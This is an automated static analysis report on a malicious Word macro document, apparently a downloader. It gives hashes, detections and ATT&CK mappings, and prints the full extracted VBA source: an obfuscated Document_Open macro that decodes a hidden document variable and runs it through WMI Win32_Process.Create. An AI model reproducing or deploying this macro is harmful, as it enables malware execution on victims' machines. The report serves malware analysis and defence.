Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bf292d2bf8d7ebb9…

MALICIOUS

Office (OOXML)

18.8 KB Created: 2020-08-12 01:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: f57e2a1b038c53987a1b2be43560e04d SHA-1: 9e82c30247dac7483ed435726e1a04e9825b3e3e SHA-256: bf292d2bf8d7ebb9d2f0d39bfdc77a0de8bda0fd929fabf4ba0c86c0e63b842d
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with a Document_Open auto-execution trigger. This macro uses GetObject to create a WMI process, indicating an attempt to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Sagent-9376492-0' further supports its role as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3332 bytes
SHA-256: 48ffc9c7bba14720fe3a64cd19d9d1f53ded26e539e355e4f061b5a820678e43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Cotemporaries(ByVal Chlorella As String)
Dim Busses As Long: Dim UnretUrned() As Byte







                                                                





                                                                        







               GoTo Oriflamme
Copperas:







          NoNcalcareous StrConv(UnretUrned, 64, 1055)






                                        





           





                





                 





                   Exit Sub







            





                                                




LeachabiLity:







                                                    For Busses = 0 To UBound(UnretUrned)
UnretUrned(Busses) = Abs(UnretUrned(Busses) - 15)








          Next
GoTo Copperas








                Exit Sub
Oriflamme:
UnretUrned = StrConv(Chlorella, 128, 1055)






                                                                    







                                                        GoTo LeachabiLity







                                            





                                                                    Exit Sub








                                            End Sub
Sub Document_Open()







                                                





          








                 Call Gerundive





            End Sub







                                                            Private Sub Gerundive()
Dim Chlorella As String: Chlorella = ActiveDocument.Variables("z2fbeebaa28a49").Value





          Cotemporaries Chlorella






                   







                                                        






                End Sub
Private Sub NoNcalcareous(ByVal Fenian As String)







                                                                Dim MisManaged As String: MisManaged = "."








                  






                                                        





             





                                                            






                                                        If Fenian <> "" Then
GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & MisManaged & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Fenian, Null, Null, 0
Else





                                                    MsgBox "Promted usr764 ."





                                                






          GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0








                                                    





          End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 224d1fbbdc6599bab14ef6a7778582189e61515050e81a063c23c84db7f7fe53
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

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